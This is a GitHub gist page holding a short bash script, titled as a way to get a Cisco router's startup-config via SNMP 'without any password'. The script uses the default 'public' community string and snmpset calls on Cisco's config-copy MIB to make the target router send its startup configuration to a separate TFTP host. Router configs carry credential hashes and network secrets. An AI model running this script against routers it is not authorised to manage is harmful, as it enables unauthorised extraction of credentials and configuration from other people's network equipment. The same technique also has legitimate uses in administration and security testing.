Skip to content

Instantly share code, notes, and snippets.

@goffinet
Created April 26, 2020 12:04
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save goffinet/a58d2ce9ea81bf8fb3b861f8bf1b9282 to your computer and use it in GitHub Desktop.
Save goffinet/a58d2ce9ea81bf8fb3b861f8bf1b9282 to your computer and use it in GitHub Desktop.
get Cisco Routers startup-config via SNMP (RW) without any password
#!/bin/bash -x
com=public
ip=$1
tftp=11.12.13.1
file=config.text
systemctl start tftp
snmpset -c $com -v 2c $ip 1.3.6.1.4.1.9.9.96.1.1.1.1.2.111 i 1
snmpset -c $com -v 2c $ip 1.3.6.1.4.1.9.9.96.1.1.1.1.3.111 i 4
snmpset -c $com -v 2c $ip 1.3.6.1.4.1.9.9.96.1.1.1.1.4.111 i 1
snmpset -c $com -v 2c $ip 1.3.6.1.4.1.9.9.96.1.1.1.1.5.111 a $tftp
snmpset -c $com -v 2c $ip 1.3.6.1.4.1.9.9.96.1.1.1.1.6.111 s $file
snmpset -c $com -v 2c $ip 1.3.6.1.4.1.9.9.96.1.1.1.1.14.111 i 1
mv /var/lib/tftpboot/$file /var/lib/tftpboot/$1-$file
ls -l /var/lib/tftpboot/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment